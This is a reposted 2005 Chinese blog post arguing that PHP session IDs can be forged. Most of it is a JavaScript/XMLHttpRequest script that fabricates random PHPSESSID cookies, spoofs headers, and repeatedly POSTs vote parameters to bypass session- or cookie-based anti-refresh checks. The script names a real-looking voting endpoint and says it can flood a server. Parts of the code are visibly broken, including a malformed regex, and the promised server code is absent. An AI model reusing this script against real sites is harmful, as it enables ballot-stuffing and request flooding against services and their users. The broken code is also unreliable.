php的sessionid可以伪造，不要用来做防刷新处理了!

创建时间：2005-12-28 投稿人：浏览次数：398

如果是基于session或者cookie做防止刷新，那么，我可以伪造状态，用xmlhttp把服务器刷爆代码如下，服务器端的代码在最后一个textarea里。

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
<head>
<title> xmlhttp</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<script language="javascript" type="text/javascript" src="fckXML.js"></script>
<script language="javascript" type="text/javascript">
<!--

function SetCookie(sName, sValue)
{
date = new Date();
document.cookie = sName + "=" + escape(sValue) + "; expires=" + date.toGMTString();
}

if ( window.XMLHttpRequest )		// Gecko
	oXmlHttp = new XMLHttpRequest() ;
else if ( window.ActiveXObject )	// IE
	oXmlHttp = new ActiveXObject("MsXml2.XmlHttp") ;

/*
看了并分析了服务器端的结果，依靠xmlhttp来伪造ip是不可能的了。 
setRequestHeader 
单独指定请求的某个http头

你的客户机ip不在其中，如果服务器端是基于ip防止刷新的，你就别费心了呗，除非是用c写socket自定义ip包。而且能确保头不被网关修改。
如果服务器是asp的基于session认证的，呵呵，那怎么办哪。用c写socket程序？怎么伪造我不知道了。
如果服务器是php的基于session或者cookie防止刷新，呵呵，那我就ok了。

下一步计划，搞清楚asp的session机制。反正不是依靠cookie的。我没办法了，除非寻找c语言的解决方案。
*/

urlToCall = "http://toupiao.scol.com.cn/toupiao_save.asp";
urlToCall = "http://develop-3/test/jstest/xmlhttp/server.php";
urlToCall = "http://test.bai.com/jstest/xmlhttp/server.php";
host = "test.bai.com";
var bAsync = 1 ;
result = "";
i = 1;
n = 2;
function zuobiStart()
{
//打开url
oXmlHttp.open( "POST", urlToCall, bAsync ) ;

//伪造ssessionid 欺骗服务器，服务器的本次会话session就重新置换了,所有的session就失去意义了。
phpsessid = Math.random();
id2 = Math.random();
phpsess = phpsessid.toString()+"11111"+id2.toString();
phpsess = phpsess.replace( //./g,"0"  );
phpsess = phpsess.substr( 0,32 );
cook ="PHPSESSID="+phpsess+"; ";
	
//设置PHPSESSID,由于php的session依靠cookie来实现，所以这样就实现了本次会话session的刷新
document.cookie=cook;

//以下是可以修改的头
oXmlHttp.setRequestHeader (  "ADDR000", "test"  );
oXmlHttp.setRequestHeader (  "User-Agent", "Mozilla/4.0 " );
oXmlHttp.setRequestHeader(  "accept-language", "zh_cn");
oXmlHttp.setRequestHeader(  "CONTENT-TYPE","application/x-www-form-urlencoded");
oXmlHttp.setRequestHeader( "accept-encoding", "gzip, deflate");
oXmlHttp.setRequestHeader( "CONNECTION", "keep-alive");
oXmlHttp.setRequestHeader( "accept", "image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");

//以下是不可以修改的头,改了服务器也不认
oXmlHttp.setRequestHeader( "Referer", "example.test.com");	
oXmlHttp.setRequestHeader ("Cookie", cook);
oXmlHttp.setRequestHeader ("HOST", host );
oXmlHttp.setRequestHeader( "content-length", "11");	
oXmlHttp.setRequestHeader( "CACHE_CONTROL", "kcache");

params = "item_button=45&topic=5";
	//发送测试结果
	oXmlHttp.send(params) ;
	//测试返回结果
	oXmlHttp.onreadystatechange = function() 
	{
		if ( oXmlHttp.readyState == 4 )
		{
			result += oXmlHttp.responseText;
		}
	}
	//
	i++;
	//跳出循环
	if (i>n){
		//alert("end/n"+i.toString()+"/n"+n.toString());
		infoObj = document.getElementById("info");
		infoObj.value = result;
		//info.value = result+"慰问慰问";
		clearInterval(flushtimerID); 
	}
}//end func
//结束

flushtimerID = window.setInterval(zuobiStart,100);

//-->
</script>
</head>

<body>

31号杨杰晰

声明：该文观点仅代表作者本人，牛骨文系教育信息发布平台，牛骨文仅提供信息存储空间服务。

上一篇： ArrayList 变长数组
下一篇： Python标准库(非常经典的各种模块介绍)

热门文章: CTF writeup 2_南邮网络攻防训...; SSM框架——详细整合教程（...; Linux Shell脚本编程－－curl命...; HttpClient使用详解; Java面试题全集（上）; JAVA设计模式之单例模式; java.lang.OutOfMemoryError: PermGen ...; TCP协议中的三次握手和四次...; form表单的两种提交方式，su...; String,StringBuffer与StringBuilder...

最新文章: Java之品优购课程讲义_day20（7）; 剑指 Offer - 8：跳台阶; Netty权威指南_札记02_NIO编程; mysql时间属性之时间戳和datetime之...; 虚拟现实或许可以拯救古埃及的“...; spring cloud服务注册中心eureka---集群...; Java SE 第六章; HTTP请求+数据库; HIDL学习笔记之HIDL C++（第二天）; ubuntu系统下指定tomcat运行时为JDK1.8...